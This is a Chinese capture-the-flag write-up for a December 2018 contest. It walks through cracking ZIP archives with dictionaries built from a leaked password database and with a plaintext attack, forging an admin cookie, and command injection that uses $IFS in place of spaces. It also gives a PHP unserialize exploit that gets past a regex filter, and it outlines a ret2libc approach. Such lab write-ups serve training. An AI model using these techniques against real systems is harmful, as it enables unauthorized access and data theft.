安恒月赛writeup 2018年12月

13 篇文章 0 订阅

目录

misc1

misc2(签到)

misc3 (学习资料)

misc4(JUJU)

web1

web2

pwn1


misc和web,和一道pwn

misc1

看提示想到去下当时泄露的库

然后写脚本处理一下把数据库的内容,生成三个由用户名,密码,邮箱组成的字典,使用密码组成的字典爆开了压缩包

解压后得到个动图,记录上面的数字得到23685528276158852365572716835687172857481317

剩下的。。。。

misc2(签到)

misc3 (学习资料)

这道题下载之后,解压后发现有一个加密过的压缩包,和一个txt。想到有明文攻击

将txt压缩成zip文件(注意压缩工具,最好选择winrar,不同的压缩工具压缩算法会有差别)

利用工具ARCHPR4.53进行明文攻击,破解压缩包密码(关于工具版本问题,队友的工具版本不同,破解不成功

这个版本是师傅推荐的比较靠谱的版本)

破解成功

解压之后的到一个word文档,打开发现没有什么东西(队友的打开就有flag,只是不能复制,原因成迷)

将word文档后缀改为zip解压后得到一堆东西,在/word/document.xml里面发现flag

{edaa144c91a4e5b817e4a18cbdb78879}
 

misc4(JUJU)

下载之后是一张png图片,很容易就想到修改宽高(更多姿势

winhex打开之后

我们把高修改为和宽一样的值

保存之后,就会发现图片显示的东西比原来多了

将图片下方的编码 进行base32解码,得到flag{a213072327f762855e475779eb081ca3}

web1

御剑扫了之后发现有之后发现有admin.php和DS_Store文件,利用DS_Store文件泄露工具(ds_store_exp),把文件下载到本地

直接访问admin.php发现有提示信息,不是admin访问不了

访问主页,抓包发现cookie里面有一个user字段,解base64发现是user

尝试把user字段的值,改为base64加密的amdin,发现有302 跳转至admin.php,继续修改cookie值,访问到了后台

结合之前通过DS_Store泄露出的文件admin.html里面有这样的提示

知道应该是命令执行,抓包后发现如果输入命令有空格,会返回错误提醒,百度之后发现$IFS可以一定情况下代替空格的作用,用作分隔

找到flag

web2

打开题目之后看见这样的代码

 <?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

发现他自己定义了一个baby类,里面调用了file_get_content函数,我们可以通过给data,实例化这个类从而执行file_get_content这个函数

利用脚本构造payload

 <?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
$data=new baby();
$data->file = "flag.php";
echo serialize($data);

?> 

然后preg_match('/[oc]:\d+:/i',$data,$matches);

匹配data中是否有(o或c:数字:(不区分大小写))这样条件的内容,有的话返回hacker,百度之后加号可以绕过

 

O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

但是如果get这段数值,加号会被替换成空格,导致反序列化失败,所以把+进行url编码,之后再赋值

O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}

拿到flag   ad2328a2c3f0933c053fd3c6f28f6143

pwn1

messageb0x

 

 

洞在此处,还有一点:

 

函数的汇编是这样的,我不确定ida里给的偏移是否正确,在peda中好探测

gdb调试:

 

 

b *0x080492e2

r:

 

 

92:

 

思路:

没有在程序中发现system函数,也没有/bin/sh 

1.没有system,选择用int80来做:

 ROPgadget --binary messageb0x | grep "int 0x80":

没有找到:

/bin/sh:

也木有

换思路:

1.泄露puts函数地址

2.获取libc版本号

3.获取/bin/sh地址

4.payload:

这里个人感觉有些小坑,刚开始ret用的main的,但是打exp卡住,后来看函数汇编:

不是leave;ret的,构造的main rop打不了,后来换了process_info,绕过了main的 ret,打成功了,记得要常看代码的汇编。。。。

pwn还没有自己复现,wp来自队友 , 有时间再自己复现,到时候再补

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值